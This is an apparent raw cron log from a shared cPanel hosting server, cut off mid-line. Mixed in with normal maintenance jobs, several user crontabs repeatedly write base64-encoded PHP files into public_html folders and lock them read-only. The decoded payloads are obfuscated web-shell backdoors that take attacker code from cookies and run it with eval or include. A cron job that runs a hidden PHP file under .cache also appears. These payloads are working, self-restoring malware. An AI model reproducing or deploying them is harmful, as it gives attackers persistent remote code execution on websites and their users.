Mar  1 15:14:01 medusa CROND[16544]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:14:01 medusa CROND[16545]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:14:01 medusa CROND[16548]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:15:02 medusa CROND[6161]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 15:15:02 medusa CROND[6162]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:15:02 medusa CROND[6163]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:15:02 medusa CROND[6164]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 15:15:02 medusa CROND[6165]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 15:15:02 medusa CROND[6166]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 15:15:02 medusa CROND[6167]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:15:02 medusa CROND[6170]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:15:02 medusa CROND[6173]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 15:15:02 medusa CROND[6174]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 15:15:02 medusa CROND[6175]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:15:02 medusa CROND[6176]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:15:02 medusa CROND[6177]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 15:15:02 medusa CROND[6178]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:15:02 medusa CROND[6180]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 15:15:02 medusa CROND[6181]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:15:02 medusa CROND[6179]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 15:15:02 medusa CROND[6189]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:15:02 medusa CROND[6196]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 15:15:02 medusa CROND[6192]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 15:15:02 medusa CROND[6191]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 15:15:02 medusa CROND[6182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:15:02 medusa CROND[6187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:16:02 medusa CROND[27956]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:16:02 medusa CROND[27957]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 15:16:02 medusa CROND[27955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:16:02 medusa CROND[27959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:16:02 medusa CROND[27960]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 15:16:02 medusa CROND[27963]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:16:02 medusa CROND[27967]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:16:02 medusa CROND[27977]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:16:02 medusa CROND[27978]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:16:02 medusa CROND[27976]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:16:02 medusa CROND[27984]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:16:02 medusa CROND[27982]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:16:02 medusa CROND[27987]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6